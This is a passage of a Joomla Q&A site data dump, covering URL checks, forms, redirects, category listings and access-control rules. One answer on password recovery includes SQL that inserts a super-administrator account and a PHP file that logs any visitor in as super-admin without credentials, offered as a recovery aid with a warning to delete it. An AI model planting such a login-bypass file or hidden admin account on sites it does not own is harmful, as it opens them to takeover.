  <row Id="4477" PostTypeId="2" ParentId="4475" CreationDate="2014-09-17T09:22:45.407" Score="1" Body="&lt;p&gt;Assuming you are only using a &lt;code&gt;http&lt;/code&gt; URL and &lt;strong&gt;not&lt;/strong&gt; &lt;code&gt;https&lt;/code&gt;, you can use the following to get the URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = &quot;http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The to perform the check, you could use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($url == &quot;http://www.example.com/ooga/booga&quot;) {&#xA;    echo &quot;match&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Using Joomla's API which would be a more appropriate method as it checks for &lt;code&gt;https&lt;/code&gt; and performs a small cleanup of invalid characters to prevent injections. To do so, you can simply use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = JUri::getInstance();&#xA;echo $url-&amp;gt;toString();&#xA;&#xA;if($url == &quot;http://www.example.com/ooga/booga&quot;) {&#xA;    echo &quot;match&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-09-17T12:21:45.523" LastActivityDate="2014-09-17T12:21:45.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4478" PostTypeId="2" ParentId="4475" CreationDate="2014-09-17T12:12:05.193" Score="0" Body="&lt;p&gt;It depends a bit what the exact purpose is. Does it have to work for SEF and non SEF URLs? Is the purpose looking for a specific view?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would probably use JInput and check for a given component, view and id if I have to match a specific article for example. This way it doesn't matter with which URL the user visits the page. It works with SEF enabled or disabled, doesn't matter. It also works for multiple URLs pointing to the same article.&#xA;Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;if ($jinput-&amp;gt;get('option') == 'com_content'&#xA;        &amp;amp;&amp;amp; $jinput-&amp;gt;get('view') == 'article'&#xA;        &amp;amp;&amp;amp; $jinput-&amp;gt;get('id') == 123)&#xA;{&#xA;    echo 'foo';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if you really have to match an exact URL and ignore all variants, then your solution using &lt;code&gt;JFactory::getURI();&lt;/code&gt; is the proper way.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-09-17T12:12:05.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4479" PostTypeId="2" ParentId="4473" CreationDate="2014-09-17T12:52:46.290" Score="3" Body="&lt;p&gt;I've got it!!!&#xA;You have to include:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the javascript is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;#user_name&quot;).attr('title','Kérem előbb válassza ki a hatályba lépés dátumát!');&#xA;jQuery(&quot;#user_name&quot;).tooltip('show');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure that these two line are in the done method of your jquery ajax call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you have to destroy it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;#user_name&quot;).click(function(){&#xA;        jQuery(&quot;#user_name&quot;).tooltip('destroy');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="417" LastActivityDate="2014-09-17T12:52:46.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4481" PostTypeId="1" CreationDate="2014-09-17T14:06:23.780" Score="-1" ViewCount="162" Body="&lt;p&gt;I need an extension that manages files, creates a download link for these files on the website and redirects the client to another page after the download button was clicked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Phoca Download is unfortunately &lt;a href=&quot;http://www.phoca.cz/forum/viewtopic.php?f=31&amp;amp;t=25415&quot; rel=&quot;nofollow&quot;&gt;not providing this feature.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if you got experience with an extension that has this functionality.&lt;/p&gt;&#xA;" OwnerUserId="192" LastEditorUserId="159" LastEditDate="2014-09-17T14:22:59.220" LastActivityDate="2014-09-17T16:32:27.143" Title="Extension that allows redirect after file download" Tags="|extension-request|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4482" PostTypeId="2" ParentId="4466" CreationDate="2014-09-17T15:07:31.667" Score="2" Body="&lt;p&gt;Following some comments I found in other places I tried giving the YOURMACHINE\user account full permission to the site folders.  This actually fixed the problem, but I am not entirely comfortable with this from a security point of view. I was originally led to believe that the IIS_IUSR account was the one that was accessing the log folder, but this does not seem to be the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the issue is resolved, but I would welcome a better answer.&lt;/p&gt;&#xA;" OwnerUserId="1759" LastActivityDate="2014-09-17T15:07:31.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4483" PostTypeId="2" ParentId="4481" CreationDate="2014-09-17T16:32:27.143" Score="1" Body="&lt;p&gt;A download button typically opens another tab to the download, if you need a redirect afterwords you can do a little JS to assist with that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function(){&#xA;   jQuery('CLASS OR ID OF BUTTON LINK').on('click',function(){&#xA;      window.location.href = 'PAGE TO GO TO AFTER BUTTON IS CLICKED';&#xA;   });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should not disturb the functionality of the download link (although depending on how it works it may need adjustment). It should redirect the user right after it is clicked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add this to your templates &lt;code&gt;index.php&lt;/code&gt; file within a script tag in the head of the page. You can also use some PHP to adjust the page it will go too. I do not know much about what your trying to do but this could give you a head start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extensions do not always do exactly what you want, sometimes it can be easier to just extend it yourself. Joomla provides template overrides to make this easier as well.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-09-17T16:32:27.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4485" PostTypeId="1" CreationDate="2014-09-17T22:04:46.643" Score="-1" ViewCount="5138" Body="&lt;p&gt;I'm Trying to create a custom contact form in Joomla 3, the reason is I didn't found such big contact form. Can somebody tell me how to do it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;html&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col-lg-12&quot;&amp;gt;&#xA;&amp;lt;form role=&quot;form&quot; method=&quot;POST&quot; style=&quot;margin-top: 2.7em;&quot; action=&quot;&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;form-group col-lg-4&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;input1&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;contact_name&quot; class=&quot;form-control&quot; id=&quot;input1&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;form-group col-lg-4&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;input2&quot;&amp;gt;Mail&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;email&quot; name=&quot;contact_email&quot; class=&quot;form-control&quot; id=&quot;input2&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;form-group col-lg-4&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;input3&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;phone&quot; name=&quot;contact_phone&quot; class=&quot;form-control&quot; id=&quot;input3&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;form-group col-lg-4&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;input1&quot;&amp;gt;Dropdown&amp;lt;/label&amp;gt;&#xA;&amp;lt;select class=&quot;form-control&quot; name=&quot;bud&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;a&quot;&amp;gt;parterowy&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;b&quot;&amp;gt;piętrowy&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;c&quot;&amp;gt;bliźniak&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;c&quot;&amp;gt;mieszkalny&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;c&quot;&amp;gt;niemieszkalny&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;form-group col-lg-4&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;input2&quot;&amp;gt;Size&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;email&quot; name=&quot;contact_email&quot; class=&quot;form-control&quot; id=&quot;input2&quot;&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;form-group col-lg-4&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;input3&quot;&amp;gt;Garage&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;select class=&quot;form-control&quot; name=&quot;garaz&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;a&quot;&amp;gt;wolnostojący&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;b&quot;&amp;gt;w budynku&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;c&quot;&amp;gt;jednostanowiskowy&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;c&quot;&amp;gt;wielostanowiskowy&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;form-group col-lg-12&quot;&amp;gt;&#xA;                        &amp;lt;label for=&quot;input4&quot;&amp;gt;Msg&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;textarea name=&quot;contact_message&quot; class=&quot;form-control&quot; rows=&quot;6&quot;id=&quot;input4&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;form-group col-lg-12&quot;&amp;gt;&#xA;                        &amp;lt;input type=&quot;hidden&quot; name=&quot;save&quot; value=&quot;contact&quot;&amp;gt;&#xA;                        &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-default&quot;&amp;gt;Send&amp;lt;/button&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/form&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsfiddle.net/DTcHh/1134/&quot; rel=&quot;nofollow&quot;&gt;JS FIDDLE HERE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read that i need to create a custom component or build another, which one is the better option?&lt;/p&gt;&#xA;" OwnerUserId="1898" LastEditorUserId="1538" LastEditDate="2014-09-18T14:43:53.480" LastActivityDate="2014-12-07T17:49:02.320" Title="How to create contact form from scratch" Tags="|joomla-3.x|component|form|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4486" PostTypeId="2" ParentId="4462" CreationDate="2014-09-18T03:08:30.800" Score="7" Body="&lt;p&gt;In addition to FFrewin's fine answer, here's a couple of alternative ways to reset the admin password.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Notice&lt;/strong&gt;&lt;br /&gt;&#xA;Remember that most of these methods will set your password to something simple like &lt;code&gt;admin&lt;/code&gt;. It's very important to set a stronger password afterwards. If there is reason to believe the site has been hacked, you might want to remove other users with admin access once you've recovered access to your Joomla installation.&lt;br /&gt;&#xA;These methods are partly taken from &lt;a href=&quot;http://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F&quot; rel=&quot;noreferrer&quot;&gt;Joomla Docs&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Alternative 1: Configuration.php file&lt;/h3&gt;&#xA;&lt;p&gt;If you are able to log in with another user (without super-admin rights), it is possible to add this line to the bottom of the &lt;code&gt;configuration.php&lt;/code&gt; file in your Joomla root directory:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public $root_user='myname';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Replace &lt;code&gt;myname&lt;/code&gt; with the username of any user you know the password of (with Author rights or higher). This user will now be able to log in as superadministrator, and you can edit/add users in the user manager. Remember to remove the extra line from your &lt;code&gt;configuration.php&lt;/code&gt; file when you're done, either by letting Joomla try to do it automatically when prompted, or by editing the file manually.&lt;/p&gt;&#xA;&lt;h3&gt;Alternative 2: Add new Super-admin user&lt;/h3&gt;&#xA;&lt;p&gt;A new super-administrator user can be created using this method:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Open phpMyAdmin (or similar, depending on your hosting) and select the database for the Joomla! site.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press the &amp;quot;SQL&amp;quot; button in the toolbar to run an SQL query on the selected database. This will display a field called &amp;quot;Run SQL query/queries on database &amp;quot;.&#xA;Delete any text in this field and copy and paste the following query below and press the Go button to execute the query and add the new Administrator user to the table:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `jos31_users`&#xA;(`name`, `username`, `password`, `params`)&#xA;VALUES ('Administrator2', 'admin2',&#xA;'d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '');&#xA;INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`)&#xA;VALUES (LAST_INSERT_ID(),'8');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remember to replace the two occurrences of &lt;code&gt;jos31_&lt;/code&gt; with the prefix used by your Joomla installation (this is usually easily spotted in phpMyAdmin).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can now access your site with username &lt;strong&gt;admin2&lt;/strong&gt; and password &lt;strong&gt;secret&lt;/strong&gt;. Make sure to edit your password once you've logged in.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3&gt;Alternative 3:&lt;/h3&gt;&#xA;&lt;p&gt;Create a PHP file with the code below, upload it to your JOOMLAROOT/administrator directory, and run it in your browser. It will log you in instantly (both Joomla 2.5 and 3), and allow you to add/edit users. &lt;strong&gt;Remember to remove the file once you're done. Failure to do so will represent a huge security issue.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The tool can also be found here: &lt;a href=&quot;http://myext.eu/en/j25-login&quot; rel=&quot;noreferrer&quot;&gt;http://myext.eu/en/j25-login&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define('_JEXEC', 1);&#xA;define('DS', DIRECTORY_SEPARATOR);&#xA;&#xA;if (file_exists(dirname(__FILE__) . '/defines.php')) {&#xA;    include_once dirname(__FILE__) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES')) {&#xA;    define('JPATH_BASE', dirname(__FILE__));&#xA;    require_once JPATH_BASE.'/includes/defines.php';&#xA;}&#xA;&#xA;require_once JPATH_BASE.'/includes/framework.php';&#xA;require_once JPATH_BASE.'/includes/helper.php';&#xA;require_once JPATH_BASE.'/includes/toolbar.php';&#xA;$app = JFactory::getApplication('administrator');&#xA;JPluginHelper::importPlugin('user');&#xA;$user = JUser::getInstance();&#xA;$db = JFactory::getDBO();&#xA;$q = 'SELECT u.* FROM `#__users` as u&#xA;        LEFT JOIN `#__user_usergroup_map` as ug ON u.id = ug.user_id&#xA;        WHERE `block` = 0 AND `activation` = 0 AND ug.group_id = 8&#xA;        LIMIT 0,1';&#xA;$db-&amp;gt;setQuery($q);&#xA;&#xA;$user_tmp = $db-&amp;gt;loadObject();&#xA;$user_tmp-&amp;gt;guest = 0;&#xA;$user_tmp-&amp;gt;isRoot = 1;&#xA;// $user_tmp-&amp;gt;groups = array(8=&amp;gt;8);&#xA;// $user_tmp-&amp;gt;_authGroups = array(1,8);&#xA;// $user_tmp-&amp;gt;_authLevels = array(1,1,2,3);&#xA;// $user_tmp-&amp;gt;gid = 1000;&#xA;&#xA;foreach($user_tmp as $k=&amp;gt;$v){&#xA;    $user-&amp;gt;set($k,$v);&#xA;}&#xA;$session = JFactory::getSession();&#xA;$session-&amp;gt;set('user', $user);&#xA;$app = JFactory::getApplication();&#xA;$app-&amp;gt;checkSession();&#xA;$app-&amp;gt;redirect( JUri::base(), &amp;quot;&amp;quot; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-09-18T03:08:30.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4487" PostTypeId="2" ParentId="4485" CreationDate="2014-09-18T03:44:50.063" Score="1" Body="&lt;p&gt;The best way to implement your custom contact form would probably be to build a Joomla &lt;a href=&quot;/questions/tagged/module&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;module&amp;#39;&quot; rel=&quot;tag&quot;&gt;module&lt;/a&gt;. This is (IMO) the easiest extension to create, and you'll find an excelent tutorial at &lt;a href=&quot;http://docs.joomla.org/J3.x:Creating_a_simple_module&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! Docs&lt;/a&gt;. There's also a nice &lt;a href=&quot;http://www.joomjunk.co.uk/extras-page/module-generator.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Module Generator&lt;/a&gt; that helps you create and download an empty module, all you have to do is add your own code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, I think you'd be better off using a 3rd party form creator, like Brian suggested in his comment. There are many free and commercial extensions. BreezingForms, RS Forms and ChronoForms are just a couple of your options. More can be found at the &lt;a href=&quot;http://extensions.joomla.org/extensions/contacts-and-feedback/forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! Extensions Directory.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These tools are quite easy to use, very powerfull, and has good support if you run into a problem. They are not specifically made for Contact forms, and therefore are very flexible with lots of options, allowing you to customize the form to fit your exact needs. Personally I've used BreezingForms a lot, creating both simple contact forms and advanced, multi-page questionnaires with advanced functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't reinvent the wheel...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mpHH1.jpg&quot; alt=&quot;Don&amp;#39;t reinvent the wheel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-18T03:44:50.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4489" PostTypeId="1" AcceptedAnswerId="4490" CreationDate="2014-09-18T09:11:00.177" Score="-2" ViewCount="254" Body="&lt;p&gt;I cannot access any articles on my Joomla, all i get is this error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1146 Table 'trasman.trasman_jreviews_categories' doesn't exist&#xA;  SQL=SELECT dirid FROM trasman_jreviews_categories WHERE id = 83 The&#xA;  Page you are looking for doesn't exist or an other error occurred.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Go back, or head over to the home page to choose a new direction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Please see the &lt;a href=&quot;http://www.trasman.mu/test&quot; rel=&quot;nofollow&quot;&gt;http://www.trasman.mu/test&lt;/a&gt; link for more info. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i googled a lot for the error, but got mostly obscure answers. Please advise. &lt;/p&gt;&#xA;" OwnerUserId="1798" LastActivityDate="2016-01-01T18:57:25.297" Title="Cannot access article, get 1146 error." Tags="|articles|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4490" PostTypeId="2" ParentId="4489" CreationDate="2014-09-18T12:20:54.630" Score="3" Body="&lt;p&gt;The database table defined has no association with Joomla's Article Manager. It belong to a 3rd party extensions (JReviews), which I believe to be this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.reviewsforjoomla.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.reviewsforjoomla.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears the table for this extension is missing, therefore you can either try reinstalling the extensions, or disable it. It would also be worth contacting the developer if you have tried reinstalling it and the issue still occurs. &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-09-18T12:20:54.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4491" PostTypeId="2" ParentId="4289" CreationDate="2014-09-18T12:33:48.793" Score="3" Body="&lt;p&gt;If it is difficult for you to debug the code then give these menu modules a try:-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.joomlack.fr/en/joomla-extensions/accordeonmenu-ck&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlack.fr/en/joomla-extensions/accordeonmenu-ck&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/structure-a-navigation/menu-systems/accordion-menus/22571(this&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/structure-a-navigation/menu-systems/accordion-menus/22571(this&lt;/a&gt; one has bootstrap)&lt;/p&gt;&#xA;" OwnerUserId="1864" LastEditorUserId="1864" LastEditDate="2014-09-18T12:38:49.173" LastActivityDate="2014-09-18T12:38:49.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4492" PostTypeId="1" CreationDate="2014-09-18T14:41:10.883" Score="6" ViewCount="9765" Body="&lt;p&gt;It seems unbelievably difficult to display a list of articles, grouped by their category/subcategory with the category as a sub-heading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Articles Category module seems to come close as I can choose to group the articles by Category but it would be really cool if I could show the group title, ie. the Category, as a heading for each group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I might be able to do this by customising the default.php module layout?  Or any other way to achieve a nice neat list of articles with category subheadings?&lt;/p&gt;&#xA;" OwnerUserId="1740" LastEditorUserId="7692" LastEditDate="2016-02-01T06:48:10.160" LastActivityDate="2016-02-01T06:48:10.160" Title="List articles by Category and Sub-Category" Tags="|joomla-3.x|articles|overrides|subcategories|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4493" PostTypeId="1" AcceptedAnswerId="4498" CreationDate="2014-09-18T14:59:27.097" Score="5" ViewCount="3074" Body="&lt;p&gt;I'm developing a Joomla component and would like admins to have the option to restrict access to a particular view in the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a create a menu item for this view, then try and access it via the menu, the user login page appears. All good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can still go directly to that view by typing in the full URL (&lt;code&gt;index.php?option=com_mycomponent&amp;amp;view=myRestrictedView&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realise that I need to put some code in the controller to check the current user object against a permissions left, but I'm not sure where to start. I've looked at the Developing an MVC Component tutorial, but that focuses on the back end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TLDR&lt;/strong&gt; - What authorisation code do I need in my &lt;code&gt;controller.php&lt;/code&gt; to check if the user is authorised for this view, and where can I 'set' this authorisation level (&lt;code&gt;config.xml&lt;/code&gt; field type &lt;code&gt;accesslevel&lt;/code&gt;?) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the simplest way is an &lt;code&gt;accesslevel&lt;/code&gt; field in my &lt;code&gt;config.xml&lt;/code&gt; and a call to &lt;code&gt;JUser::getAuthorisedViewLevels&lt;/code&gt; but that seems a bit hacky...&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2017-10-09T15:55:38.573" Title="Restrict front-end component access" Tags="|joomla-3.x|component|acl|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4494" PostTypeId="2" ParentId="4492" CreationDate="2014-09-18T17:22:56.757" Score="5" Body="&lt;p&gt;Option 1: Create a menu for your categories and articles. Everytime you add an article to your category, you also add it to your menu. Then you use the menu module to call in that information. It'll be a menu, but it'll look like categories and articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 2: Create multiple modules, one for each category, and call them all into that space. They'll tile on top of each other, pull the relevant articles, and look as though they are one unit, even though they are several.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 3: Hit the Joomla Extension Directory for other article and category displaying modules and see what you find. I like Display News, but I'm not sure off the top of my head that it'll do exactly what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option4: This just occurred to me. It's a little crazy, and it's more or less used to organize option 2 and make it a little more dynamic. Using Article Categories, instead of Article Category, you call the category list into your website. Make sure you ALSO call the category descriptions. Then in the description of each category, you call a module for that category that lists its articles.  Now it really is one unit, but it's pulling pieces from your modules, articles and categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever you do, make sure you have a top level menu item for your category blog, to ensure your articles take the styles you want.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2014-09-18T17:36:31.503" LastActivityDate="2014-09-18T17:36:31.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4495" PostTypeId="1" AcceptedAnswerId="4501" CreationDate="2014-09-19T02:29:39.587" Score="6" ViewCount="619" Body="&lt;p&gt;We're doing a massive import of categories from another CMS, and using the below code to create the categories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$basePath = JPATH_ADMINISTRATOR.'/components/com_categories';&#xA;require_once $basePath.'/models/category.php';&#xA;$config  = array('table_path' =&amp;gt; $basePath.'/tables');&#xA;$catmodel = new CategoriesModelCategory($config);&#xA;// Populate the params array with values to save, for rules:&#xA;$params['rules'] = array(&#xA;    'core.edit.state' =&amp;gt; array(),&#xA;    'core.edit.delete' =&amp;gt; array(),&#xA;    'core.edit.edit' =&amp;gt; array(),&#xA;    'core.edit.state' =&amp;gt; array(),&#xA;    'core.edit.edit.own' =&amp;gt; array(1=&amp;gt;true)&#xA;);&#xA;if(!$catmodel-&amp;gt;save($params))&#xA;    return false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This all works marvelously, creating the category, with the Permissions as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, examining other categories that have been manually added along the way, all with the same parent_id ancestry, I see two different varieties of the &lt;code&gt;rules&lt;/code&gt; column in the &lt;code&gt;#__assets&lt;/code&gt; table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;#__assets rules Example #1&lt;/strong&gt;  (&lt;em&gt;as created by the above code, and some with Admin Category Manager, in use by many categories&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;core.create&quot;:[],&#xA;    &quot;core.delete&quot;:[],&#xA;    &quot;core.edit&quot;:[],&#xA;    &quot;core.edit.state&quot;:[],&#xA;    &quot;core.edit.own&quot;:{&quot;1&quot;:1}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;#__assets rules Example #2&lt;/strong&gt;  (&lt;em&gt;as created by the Admin Category Manager, and in use by many categories&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;core.create&quot;:{&quot;6&quot;:1,&quot;3&quot;:1},&#xA;    &quot;core.delete&quot;:{&quot;6&quot;:1},&#xA;    &quot;core.edit&quot;:{&quot;6&quot;:1,&quot;4&quot;:1},&#xA;    &quot;core.edit.state&quot;:{&quot;6&quot;:1,&quot;5&quot;:1},&#xA;    &quot;core.edit.own&quot;:{&quot;1&quot;:1,&quot;6&quot;:1,&quot;3&quot;:1}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I view them in the Category manager, both categories &lt;em&gt;appear&lt;/em&gt; to have the same permissions - inheriting everything except &quot;Edit Own&quot; being set to &quot;Allowed&quot;.  So, the real question is two-fold:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What are the differences between these two sets of rules&lt;/li&gt;&#xA;&lt;li&gt;Is the method we're using (yielding 